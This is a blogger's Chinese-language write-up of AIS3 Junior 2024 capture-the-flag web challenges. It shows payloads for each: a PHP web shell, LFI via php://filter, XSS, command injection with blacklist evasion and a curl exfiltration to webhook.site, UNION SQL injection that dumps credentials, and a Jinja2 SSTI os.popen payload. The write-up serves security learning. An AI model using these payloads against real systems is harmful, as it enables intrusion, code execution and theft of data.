AIS3 Junior writeup
01 - Broken Access Control
BAC 01
進入網頁後,有個輸入框問你是誰 
隨便輸入幾個名字,發現都是進入 user 這個路徑,並輸出 Welcome {name}! 
嘗試更改路徑到 admin 
AIS3_Junior{FirstBROKENAccessControl;)}
BAC 02
進入網頁後,可以看出他是個購物網站 
將四樣商品點開,發現他們都是在 product 目錄下,依序為第 1、2、3、5、6項 
更改網址,看看沒擺出來的 編號4商品
結果竟然是在賣 FLAG,而且還不用錢!

AIS3_Junior{BroJustFoundBabyIDORVulnerability}
BAC 03
類似 BAC01 的頁面,不過前面的方法對它沒用 
嘗試利用 Burpsuite 攔截封包,結果發現程式碼內有 FLAG 
AIS3_Junior{BabyBRokenAccEssControoooooool}
02 - File Upload
FIL 01
一個可以上傳東西的網站 
甚至可以上傳包含 <?php system($_GET['cmd']);?> 的 web shell 
上傳完成後,進入 url/uploads/c3644_108.160.138.201.php
在網址後方接上 ?cmd={command} ,其中 {command} 可以插入任意指令
ls 發現這層目錄好像沒甚麼東西,
到前一層目錄看看 ({command}=ls%20../)
發現 FLAG 並印出 ({command}=cat%20../FLAG)
AIS3_Junior{FirstWEBSHELLXDDD}
FIL 02
與上一題類似的網頁,但它似乎不給上傳 php 檔 
將檔案類型改為 image/jpg,並送出修改過的封包內容

檔案上傳後,使用與前面一樣的方法,進入 url/uploads/c3644_108.160.138.201.php。結果發現前一層目錄中也有 FLAG 存在,將其印出即可得到答案

AIS3_Junior{BabyUploadBypass}
03 - Local File Inclusion
LFI 01
一個登錄系統和一張貓咪圖片 
該圖片網址為 url/include.php?GetType=file_get_contents&file=static/bitcoinCat.jpg ,可以判斷這張圖片是透過 php 存取的
透過 php 偽協議 php://filter/read=convert.base64-encode/resource=index.php,可以將 index.php 的內容以 base64 編碼的方式讀取,解碼後即可還原出完整原始碼
發現管理員 帳號: admin 、 密碼: CATLOVEBITCOINMEOWMEOW 
登入管理員帳號後,即可得到 FLAG 
AIS3_Junior{php://filter/BabyPHPLFI.b64decode()}
LFI 02
檔案上傳後,存在 /tmp/c3644_108.160.138.201.php 中 
先回到根目錄後並嘗試進入該目錄 url/post.php?form=/../../../../../../tmp/c3644_108.160.138.201.php
接上指令 &cmd=ls,查看目錄中檔案 
使用 &cmd={command},而非 ?cmd={command} 原因是前面已使用過 .php?form=,而我們還需要再接上額外指令,所以將其它的指令用 & 連接
接上指令 &cmd=cat%20S3Cr3TFLAGGGGG,查看 S3Cr3TFLAGGGGG 內容 
AIS3_Junior{../../../../tmp/BADBAD.php?LFI=SUCCESS}
04 - Cross-Site Scripting
XSS 01
這個系統會問你是誰 
發現原始碼中有 FLAG 這個變數 
在輸入框中,輸入 <script>alert(FLAG)</script> 即可取得 FLAG
AIS3_Junior{XSSXSSXSSXSS}
05 - Command Injection
CMD 01
這個網頁可以確認 IP 狀態 
在輸入的 IP 後接上指令。如 ;ls -al,顯示如下 
看看 FLAG 裡面存著甚麼 
AIS3_Junior{BabyCommand;InjectionXDDDddddd}
CMD 02
這與上一題類似的網站 
嘗試使用一樣的指令,但 ls 似乎被加進黑名單了 
不過沒關係,我們可以利用 Spilt Evasion,將 ls 寫成 l$()s,插入後發現指令可以執行了!
輸入 ;c$()at FLAG,取得 FLAG 的內容 
AIS3_Junior{niceWordBL$()ACKListEvasion;)}
CMD 03
與前兩題類似,但 分號、空格 等字元似乎被加進黑名單過濾了
不過沒關係,我們可以透過 Blacklist Evasion 繞過黑名單過濾機制。
| 逃脫方法 | 原始字元 | 逃脫方式 |
|---|---|---|
| Spilt Evasion | cat |
c$()at |
| Bash Operator | ; |
| |
| Space Evasion | 空格 |
${IFS} |
將 ;cat FLAG 改為輸入 |c$()at${IFS}FLAG 
AIS3_Junior{BashOperato|rEvasion${IFS}SUCC|ESSFUL|:DDDDD}
CMD 04
雖然與前面幾題長很像,但先前的指令對這題沒用 
束手無策,只好試試看用 webhook 能不能撈到些資訊
透過curl 將數據傳至 webhook,並利用前面手法繞過驗證
|cu$()rl${IFS}-X${IFS}POST${IFS}https://webhook.site/your_UUID${IFS}-d${IFS}out$()put=$(l$()s)

ls 後,發現裡面有 ERRORCMDi_FLAG 檔案
將 ls 改為 cat ERRORCMDi_FLAG,即可得到 FLAG 
AIS3_Junior{E${IFS}RRORB3sed|$(CMDi)Succ3ss:DD}
CMD 05
與前一題類似,一樣先 ls 將資料夾檔案列出 
同上題,將 ls 改為 cat BLindCMDiFLAG後,即可得到 FLAG 
AIS3_Junior{BROJust|curl%20-d%20$(l3akTheDATAT0outSideXDD)}
CMD 06
同上題,輸入 |c$()at${IFS}FLAG 即可取得FLAG 
AIS3_Junior{ouo_hihi}
06 - SQL Injection
SQL 01
一個登入系統 
在帳號欄位填入 admin' or 1==1 -- # ,將帳號設為 admin 並將後面判斷註解掉 
AIS3_Junior{SQL'InjectionXDorD=D_--_-}
SQL 02
一個有輸入框的頁面 
隨意輸入後,會進到此頁面 
可以使用 UNION SELECT (num) # 來測試查詢的有效欄位數,當 (num) 填入 1、1,2、1,2,3 時,系統都報錯了。
而填入 1,2,3,4 時不再報錯,說明這個資料庫的查詢需要匹配四個欄位!
使用 UNION SELECT 搭配 group_concat(schema_name) 從 information_schema.schemata 中獲取所有資料庫名稱,
' UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata # 
選定 ApexPredators 資料庫後,使用 UNION SELECT 及 group_concat(table_name) 從 information_schema.tables 中查詢該資料庫的所有表格名稱。
' UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema='ApexPredators' # 
確認表格後,我對 ApexPredators 資料庫中的 user 表格進行查詢,利用 WHERE table_name 篩選表格及查詢欄位名稱
' UNION SELECT 1,group_concat(column_name),3,4 from information_schema.columns WHERE table_schema='ApexPredators' AND table_name='users' # 
鎖定 ApexPredators.users 欄位,使用 UNION SELECT 1,username,isAdmin,password 提取帳號、密碼及是否為管理員等重要資訊
' UNION SELECT 1,username,isAdmin,password FROM ApexPredators.users # 
從提取的資料中發現用戶 KubenBlisk 是管理員,使用該帳號密碼後成功登入系統即可取得 FLAG

AIS3_Junior{_BRO-DO_A--UNION_SELECTXDDD_--_-}
07 - Server-Side Template Injection
STI 01
有一個輸入框,輸入 1+1 會回傳2。 
利用在網路上找到的payload
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls').read() 
裡面有個 FLAG 檔案,我們可以稍微修改 payload,讓它印出 FLAG 內容
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat FLAG').read() 
AIS3_Junior{._JinjaTWOOOO.__["SSTI]_.succ3ssXDD._}
STI 02
利用與上題同樣的payload,即可取得FLAG
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat FLAG').read() 
AIS3_Junior{b4by__.filt3rEvasion.__Succ3ss}
08 - Server-Side Request Forgery
SRF 01
一個可以分析圖片的網站 
先攔截看看封包內容 
因為題目提到 FLAG 藏在 /app/FLAG 中,將 url 改為 /app/FLAG 後重新送出即可在原始碼中發現編碼過的字串

使用 base64 decode 後,即可得到 FLAG
AIS3_Junior{file://SSRF___XDDD}
SRF 02
與上一題類似的網站
題目雖然沒有說 FLAG 藏在哪裡,但 我通靈推測藏在 localhost 中 
使用 base64 decode 後,即可得到 FLAG
AIS3_Junior{http://BROAccessLOCAL}
- Title: AIS3 Junior writeup
- Author: zichun
- Created at : 2024-08-16 00:00:00
- Updated at : 2024-08-20 11:50:44
- Link: https://zichun808.me/AIS3-Junior-writeup/
- License: This work is licensed under CC BY-NC-SA 4.0.